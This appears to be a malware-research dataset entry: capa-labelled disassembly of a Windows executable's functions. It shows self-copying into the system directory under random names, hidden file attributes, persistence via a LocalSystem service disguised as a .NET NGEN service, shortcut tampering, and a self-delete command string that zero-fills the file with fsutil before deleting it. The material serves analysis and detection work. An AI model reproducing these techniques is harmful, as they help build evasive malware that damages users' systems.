joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403382
Capabilities:
Create process on windows
Get common file path
Move file
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
call fcn.00406772
xor ebx, ebx
mov byte [ebp - 0xc], al
cmp byte [ebp + 8], bl
je 0x4033f2
cmp al, bl
je 0x4033cc
lea eax, [ebp - 0x254]
push eax
push ecx
push 1
call fcn.00403ad9
pop ecx
pop ecx
push eax
call fcn.0040582a
pop ecx
pop ecx
test al, al
je 0x4033f2
lea eax, [ebp - 0x254]
push eax
call fcn.00405797
pop ecx
jmp 0x4033f2
cmp word [0x42b090], bx
jne 0x4033e8
push 0x42b090
push ebx
push ebx
push 0x8007
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call fcn.00404ca0
call fcn.00404a29
push 6
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
mov esi, 0x41ae58
push esi
push 0x3005
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [ebp - 8], ebx
cmp byte [ebp + 8], bl
je 0x403433
push dword [ebp - 0xc]
call fcn.00403ad9
pop ecx
push eax
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___rmdir___s___s__q___NUL__exit
jmp 0x40343a
push esi
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___del___s____NUL__exit
lea eax, [ebp - 8]
push eax
call fcn.00402b4e
mov esi, dword [ebp - 8]
add esp, 0x10
cmp esi, ebx
je 0x40348f
push 0x38
lea eax, [ebp - 0x44]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], EnumSystemLocalesA
mov dword [ebp - 0x44], 0xc600
mov dword [ebp - 0x3c], str.open
mov dword [ebp - 0x38], str._COMSPEC_
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call fcn.0040241e
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403497
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x407910
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x40a440
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push esi
push eax
call fcn.00406334
pop ecx
pop ecx
pop esi
leave
ret
Function at 0x403799
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, eax
test ebx, ebx
je 0x40396a
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0xc]
push 0x407950
push eax
mov byte [ebp - 5], 0
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x40396a
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403808
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0xc]
call fcn.0040241e
cmp byte [ebp - 5], 0
pop ecx
je 0x40396a
push 0
mov edi, CopySid
call fcn.0040231c
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40396a
and dword [ebp - 0x10], 0
push 5
pop eax
call fcn.004024f9
add eax, 2
mov dword [ebp - 0x1c], eax
cmp eax, 6
ja 0x403837
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x67c]
push str.___s
push eax
call esi
lea eax, [ebx + ebx]
lea ecx, [ebp + eax - 0x224]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp + eax - 0x21e]
add esp, 0xc
mov dword [ebp - 0x14], ecx
lea edi, [ebp + eax - 0x222]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024f9
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024f9
mov ecx, dword [ebp - 0x14]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403955
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x448]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
push 0x19
pop eax
call fcn.004024f9
push dword [ebp + 8]
add eax, 0x61
movzx eax, ax
push eax
lea eax, [ebp + ebx*2 - 0x450]
push str._c_s
push eax
call esi
lea eax, [ebp - 0x448]
push eax
push 0x40a440
push str._s_s
push dword [ebp - 0xc]
call esi
add esp, 0x20
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403955
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x403882
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40396f
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
lea eax, [ebp - 0x264]
push edi
push eax
call fcn.00403634
pop ecx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push 0x40a440
lea eax, [ebp - 8]
push str._s_s
push eax
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x403a72
call fcn.004067e9
mov edi, dword [ebp - 8]
push 0
push edi
push 0x41ae58
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x264]
push eax
call fcn.00406577
pop ecx
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x20], str..dll
mov dword [ebp - 0x1c], str..xml
mov dword [ebp - 0x18], str..cpl
mov dword [ebp - 0x14], str..vbs
mov dword [ebp - 0x10], str..tlb
mov dword [ebp - 0xc], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call fcn.00403799
inc esi
pop ecx
cmp esi, 6
jb 0x403a0b
call fcn.00403497
cmp byte [ebp + 8], 0
push edi
je 0x403a2f
call fcn.0040564c
pop ecx
jmp 0x403a6b
call fcn.00404d13
pop ecx
push 0x38
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x40], 0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], EnumSystemLocalesA
mov dword [ebp - 0x58], 0xc600
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
call fcn.0040241e
pop ecx
pop edi
pop esi
leave
ret

Function at 0x403ad9
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x40a440
cmp word [0x40a440], bx
jne 0x403b8c
cmp byte [ebp + 8], bl
je 0x403b3e
cmp byte [0x40a43c], bl
je 0x403b15
movzx eax, word [0x41a448]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403b32
push ebx
push 0x26
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403b56
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402ee8
push eax
call fcn.00402cab
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.00402c3c
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403b93
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push reloc.kernel32.dll_EnumSystemLocalesA
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41a448
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
mov esi, str.cmd.exe
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push ebx
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403c16
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403dd1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x41a650]
mov ecx, dword [0x41a654]
sub esp, 0x10
push ebx
push esi
xor esi, esi
xor edx, edx
push edi
cmp eax, esi
jbe 0x403dfa
mov edi, dword [ecx + edx*4]
cmp edi, dword [ebp + 8]
je 0x403e70
inc edx
cmp edx, eax
jb 0x403ded
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402393
mov edx, dword [0x41a650]
inc dword [0x41a650]
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
push esi
push esi
push 4
push esi
push esi
push 0x40000000
push 0x41a658
mov dword [0x41a654], eax
mov dword [eax + edx*4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403e70
push 2
push esi
mov dword [ebp - 0xc], esi
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp + 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404809
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
push ebx
push esi
push edi
mov esi, 0x42b090
push esi
lea eax, [esp + 0x18]
xor ebx, ebx
push str._s.lnk
push eax
mov byte [esp + 0x1b], bl
mov dword [esp + 0x20], ebx
call fcn.00402b4e
add esp, 0xc
test eax, eax
je 0x4048db
push ebx
mov edi, CopySid
call fcn.0040231c
pop ecx
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4048d1
push ebx
call fcn.0040231c
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4048c7
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4048c0
lea eax, [esp + 0x44]
push eax
push esi
push str._s_s
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push dword [esp + 0x28]
call fcn.0040475a
add esp, 0x1c
test al, al
jne 0x4048b4
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404879
jmp 0x4048b9
mov byte [esp + 0xf], 1
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040241e
pop ecx
push dword [esp + 0x10]
call fcn.0040241e
pop ecx
push dword [esp + 0x14]
call fcn.0040241e
pop ecx
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404a29
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
mov ebx, 0x42b090
push ebx
lea eax, [ebp - 4]
push str._s.lnk
xor esi, esi
push eax
mov dword [ebp - 4], esi
call fcn.00402b4e
add esp, 0xc
cmp dword [ebp - 4], esi
je 0x404afb
push esi
mov edi, CopySid
call fcn.0040231c
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x404af2
push esi
call fcn.0040231c
mov edi, eax
pop ecx
cmp edi, esi
je 0x404ae9
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x404ae2
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x234]
push eax
push ebx
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push str.shit
push esi
call fcn.0040475a
add esp, 0x1c
test al, al
je 0x404ac5
call fcn.0040618c
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404a96
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040241e
pop ecx
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404bfe
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push dword [ebp + 8]
lea ebx, [ebp - 0x210]
call fcn.004062ea
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402b4e
mov esi, eax
add esp, 0x10
add esi, esi
je 0x404c9c
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [ebx + 0x40a300]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404c8b
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00404b00
add esp, 0xc
test al, al
jne 0x404c82
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 4
cmp ebx, 8
jb 0x404c37
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x404d13
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
push 0x408930
call fcn.00406a00
mov esi, ecx
push esi
call fcn.00404809
pop ecx
test al, al
jne 0x404a23
xor edi, edi
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x407330
push 1
push edi
push 0x407340
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x404a23
push esi
lea ebx, [ebp - 0x238]
call fcn.004062ea
push edi
mov edi, CopySid
call fcn.0040231c
pop ecx
pop ecx
mov edi, eax
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cmp edi, ebx
je 0x404a1a
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x238]
push eax
push 0x42b090
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402b4e
add esp, 0x1c
test eax, eax
je 0x404a11
push 6
push esi
call fcn.004061d3
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x4049bd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x407350
push eax
call dword [ecx]
test eax, eax
js 0x4049f5
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4049f5
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
je 0x404a08
push dword [ebp - 0x20]
call fcn.0040241e
pop ecx
push dword [ebp - 0x28]
call fcn.0040241e
pop ecx
push dword [ebp - 0x2c]
call fcn.0040241e
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.00406a3b
ret
xor eax, eax
cmp word [0x42b090], ax
jne 0x404d31
push 0x42b090
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404bfe
pop ecx
mov ecx, dword [esp + 4]
jmp 0x4048e6
Function at 0x40564c
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x405792
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
mov eax, reloc.advapi32.dll_CopySid
call fcn.004024f9
movzx edi, ax
call fcn.004065d3
test al, al
push edi
lea eax, [ebp - 0x240]
je 0x4056a5
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x4056b3
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x448]
push eax
call esi
add esp, 0x18
push 0x4083b4
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x448]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x405678
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x240]
push str.Minimal
push eax
call fcn.004055b0
lea eax, [ebp - 0x240]
push str.Network
push eax
call fcn.004055b0
add esp, 0x10
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x405f48
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov edi, CopySid
call fcn.0040231c
mov esi, eax
pop ecx
mov dword [ebp - 4], esi
cmp esi, ebx
je 0x4060ff
cmp dword [ebp + 0x10], ebx
je 0x4060f6
cmp dword [ebp + 8], ebx
je 0x4060f6
cmp dword [ebp + 0xc], ebx
je 0x4060f6
cmp dword [ebp + 0x18], ebx
je 0x4060f6
push dword [ebp + 8]
mov eax, 0x4086d8
push esi
call fcn.00405f1c
pop ecx
pop ecx
test al, al
je 0x4060f6
push 0x250
lea eax, [ebp - 0x258]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push esi
mov dword [ebp - 0x25c], 1
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4060f6
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp word [ebp - reloc.advapi32.dll_CopySid], 0x2e
jne 0x40601d
cmp word [ebp - reloc.advapi32.dll_CopySid], 0
je 0x4060cc
cmp word [ebp - reloc.advapi32.dll_CopySid], 0x2e
jne 0x40601d
cmp word [ebp - reloc.advapi32.dll_CopySid], 0
je 0x4060cc
mov eax, dword [ebp - 0x258]
and eax, 0x10
je 0x40602d
test bl, 2
jne 0x406036
test eax, eax
jne 0x40607e
test bl, 4
je 0x40607e
xor esi, esi
cmp dword [ebp + 0x10], esi
jbe 0x40607e
mov eax, dword [ebp + 0xc]
push dword [eax + esi*4]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x40605c
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x40603d
jmp 0x40607e
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test eax, eax
je 0x4060e6
cmp dword [ebp + 0x24], 0
je 0x40607e
push dword [ebp + 0x24]
call edi
test byte [ebp - 0x258], 0x10
je 0x4060cc
test bl, 1
je 0x4060cc
push dword [ebp + 8]
lea eax, [ebp - 0x22c]
push dword [ebp - 4]
call fcn.00405f1c
pop ecx
pop ecx
test al, al
je 0x4060cc
cmp dword [ebp + 0x20], 0
je 0x4060ae
push dword [ebp + 0x20]
call edi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.00405f48
add esp, 0x20
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405fed
jmp 0x4060ed
and dword [ebp - 0x25c], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406104
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov edi, CopySid
call fcn.0040231c
mov esi, eax
pop ecx
cmp esi, ebx
je 0x406185
push ebx
push esi
push 0x7fff
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
je 0x40617e
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
je 0x40617e
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], reloc.kernel32.dll_EnumSystemLocalesA
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ntdll.dll_ZwDeleteFile]
test eax, eax
lea eax, [ebp - 0xc]
push eax
setns bl
call dword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
push esi
call fcn.0040241e
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x40618c
Capabilities:
Set file attributes

Disassembly:
push edi
push 0x80
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x4061bd
mov ecx, edi
inc edi
cmp ecx, 0x14
jg 0x4061d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 2
neg eax
sbb eax, eax
inc eax
jne 0x4061d1
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.00406104
pop ecx
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
test eax, eax
je 0x40619d
pop edi
ret

Function at 0x4061d3
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1448
call fcn.004069d0
push ebx
push esi
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov esi, eax
cmp esi, ebx
je 0x4062e4
push edi
push esi
call fcn.00402384
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4062e3
push edi
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x4086e4
push edi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call esi
cmp dword [ebp - 8], 4
jb 0x4062dc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], str.Comments
mov dword [ebp - 0x38], 0x40872c
mov dword [ebp - 0x34], 0x408748
mov dword [ebp - 0x30], 0x408760
mov dword [ebp - 0x2c], 0x408778
mov dword [ebp - 0x28], 0x408798
mov dword [ebp - 0x24], 0x4087b8
mov dword [ebp - 0x20], str.LegalTrademarks
mov dword [ebp - 0x1c], str.PrivateBuild
mov dword [ebp - 0x18], 0x408814
mov dword [ebp - 0x14], 0x40882c
mov dword [ebp - 0x10], str.SpecialBuild
push dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x1448]
push str.StringFileInfo_04x_04x_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1448]
push eax
push edi
call esi
test eax, eax
je 0x4062dc
push dword [ebp - 0xc]
call fcn.004029a5
pop ecx
mov ebx, eax
push edi
call fcn.0040241e
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret